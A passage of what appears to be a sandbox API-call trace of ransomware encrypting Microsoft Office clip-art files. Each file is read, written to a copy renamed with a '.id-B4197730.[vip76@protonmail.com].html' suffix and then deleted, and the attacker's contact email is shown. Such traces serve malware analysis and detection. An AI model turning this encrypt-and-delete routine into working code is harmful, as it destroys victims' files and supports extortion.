	[0083.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.667] lstrlenW (lpString=".1cd") returned 4
	[0083.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.667] lstrlenW (lpString=".jpg") returned 4
	[0083.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.667] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.667] lstrlenW (lpString="DD01138_.WMF") returned 12
	[0083.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.668] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3692) returned 1
	[0083.668] CloseHandle (hObject=0x394) returned 1
	[0083.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220
	[0083.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.668] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.668] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.668] GetLastError () returned 0x0
	[0083.668] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xe6c, lpOverlapped=0x0) returned 1
	[0083.670] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xe70, lpOverlapped=0x0) returned 1
	[0083.671] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.671] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.671] SetEndOfFile (hFile=0x38c) returned 1
	[0083.671] CloseHandle (hObject=0x38c) returned 1
	[0083.671] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.671] SetEndOfFile (hFile=0x394) returned 1
	[0083.672] CloseHandle (hObject=0x394) returned 1
	[0083.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1
	[0083.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.672] lstrlenW (lpString=".doc") returned 4
	[0083.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.672] lstrlenW (lpString=".docx") returned 5
	[0083.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.673] lstrlenW (lpString=".pdf") returned 4
	[0083.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.673] lstrlenW (lpString=".xls") returned 4
	[0083.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.673] lstrlenW (lpString=".xlsx") returned 5
	[0083.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.673] lstrlenW (lpString=".ppt") returned 4
	[0083.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.673] lstrlenW (lpString=".zip") returned 4
	[0083.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.729] lstrlenW (lpString=".rar") returned 4
	[0083.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.729] lstrlenW (lpString=".bz2") returned 4
	[0083.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.729] lstrlenW (lpString=".7z") returned 3
	[0083.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.729] lstrlenW (lpString=".dbf") returned 4
	[0083.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.729] lstrlenW (lpString=".1cd") returned 4
	[0083.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.729] lstrlenW (lpString=".jpg") returned 4
	[0083.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.729] lstrlenW (lpString=".doc") returned 4
	[0083.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.729] lstrlenW (lpString=".docx") returned 5
	[0083.729] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.730] lstrlenW (lpString=".pdf") returned 4
	[0083.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.730] lstrlenW (lpString=".xls") returned 4
	[0083.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.730] lstrlenW (lpString=".xlsx") returned 5
	[0083.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.730] lstrlenW (lpString=".ppt") returned 4
	[0083.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.730] lstrlenW (lpString=".zip") returned 4
	[0083.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.730] lstrlenW (lpString=".rar") returned 4
	[0083.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.730] lstrlenW (lpString=".bz2") returned 4
	[0083.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.730] lstrlenW (lpString=".7z") returned 3
	[0083.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.730] lstrlenW (lpString=".dbf") returned 4
	[0083.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.730] lstrlenW (lpString=".1cd") returned 4
	[0083.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0083.730] lstrlenW (lpString=".jpg") returned 4
	[0083.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.730] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.730] lstrlenW (lpString="DD01139_.WMF") returned 12
	[0083.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.731] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3632) returned 1
	[0083.731] CloseHandle (hObject=0x394) returned 1
	[0083.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220
	[0083.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.731] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.732] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.732] GetLastError () returned 0x0
	[0083.732] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xe30, lpOverlapped=0x0) returned 1
	[0083.734] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xe40, lpOverlapped=0x0) returned 1
	[0083.734] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.735] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.735] SetEndOfFile (hFile=0x38c) returned 1
	[0083.735] CloseHandle (hObject=0x38c) returned 1
	[0083.735] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.735] SetEndOfFile (hFile=0x394) returned 1
	[0083.736] CloseHandle (hObject=0x394) returned 1
	[0083.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1
	[0083.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.736] lstrlenW (lpString=".doc") returned 4
	[0083.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.736] lstrlenW (lpString=".docx") returned 5
	[0083.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.736] lstrlenW (lpString=".pdf") returned 4
	[0083.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.737] lstrlenW (lpString=".xls") returned 4
	[0083.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.737] lstrlenW (lpString=".xlsx") returned 5
	[0083.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.737] lstrlenW (lpString=".ppt") returned 4
	[0083.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.737] lstrlenW (lpString=".zip") returned 4
	[0083.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.737] lstrlenW (lpString=".rar") returned 4
	[0083.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.737] lstrlenW (lpString=".bz2") returned 4
	[0083.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.737] lstrlenW (lpString=".7z") returned 3
	[0083.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.737] lstrlenW (lpString=".dbf") returned 4
	[0083.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.737] lstrlenW (lpString=".1cd") returned 4
	[0083.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.737] lstrlenW (lpString=".jpg") returned 4
	[0083.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.737] lstrlenW (lpString=".doc") returned 4
	[0083.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.737] lstrlenW (lpString=".docx") returned 5
	[0083.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.737] lstrlenW (lpString=".pdf") returned 4
	[0083.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.738] lstrlenW (lpString=".xls") returned 4
	[0083.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.738] lstrlenW (lpString=".xlsx") returned 5
	[0083.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.738] lstrlenW (lpString=".ppt") returned 4
	[0083.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.738] lstrlenW (lpString=".zip") returned 4
	[0083.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.738] lstrlenW (lpString=".rar") returned 4
	[0083.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.738] lstrlenW (lpString=".bz2") returned 4
	[0083.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.738] lstrlenW (lpString=".7z") returned 3
	[0083.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.738] lstrlenW (lpString=".dbf") returned 4
	[0083.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.738] lstrlenW (lpString=".1cd") returned 4
	[0083.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0083.738] lstrlenW (lpString=".jpg") returned 4
	[0083.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.738] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.738] lstrlenW (lpString="DD01140_.WMF") returned 12
	[0083.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.739] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3616) returned 1
	[0083.739] CloseHandle (hObject=0x394) returned 1
	[0083.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220
	[0083.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.739] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.739] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.740] GetLastError () returned 0x0
	[0083.740] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xe20, lpOverlapped=0x0) returned 1
	[0084.343] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xe30, lpOverlapped=0x0) returned 1
	[0084.362] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.362] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.362] SetEndOfFile (hFile=0x38c) returned 1
	[0084.362] CloseHandle (hObject=0x38c) returned 1
	[0084.362] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.362] SetEndOfFile (hFile=0x394) returned 1
	[0084.363] CloseHandle (hObject=0x394) returned 1
	[0084.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1
	[0084.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.364] lstrlenW (lpString=".doc") returned 4
	[0084.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.364] lstrlenW (lpString=".docx") returned 5
	[0084.364] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.364] lstrlenW (lpString=".pdf") returned 4
	[0084.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.364] lstrlenW (lpString=".xls") returned 4
	[0084.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.364] lstrlenW (lpString=".xlsx") returned 5
	[0084.364] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.364] lstrlenW (lpString=".ppt") returned 4
	[0084.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.365] lstrlenW (lpString=".zip") returned 4
	[0084.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.365] lstrlenW (lpString=".rar") returned 4
	[0084.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.365] lstrlenW (lpString=".bz2") returned 4
	[0084.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.365] lstrlenW (lpString=".7z") returned 3
	[0084.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.365] lstrlenW (lpString=".dbf") returned 4
	[0084.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.365] lstrlenW (lpString=".1cd") returned 4
	[0084.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.365] lstrlenW (lpString=".jpg") returned 4
	[0084.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.365] lstrlenW (lpString=".doc") returned 4
	[0084.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.365] lstrlenW (lpString=".docx") returned 5
	[0084.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.366] lstrlenW (lpString=".pdf") returned 4
	[0084.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.366] lstrlenW (lpString=".xls") returned 4
	[0084.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.366] lstrlenW (lpString=".xlsx") returned 5
	[0084.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.366] lstrlenW (lpString=".ppt") returned 4
	[0084.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.366] lstrlenW (lpString=".zip") returned 4
	[0084.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.366] lstrlenW (lpString=".rar") returned 4
	[0084.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.366] lstrlenW (lpString=".bz2") returned 4
	[0084.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.366] lstrlenW (lpString=".7z") returned 3
	[0084.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.366] lstrlenW (lpString=".dbf") returned 4
	[0084.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
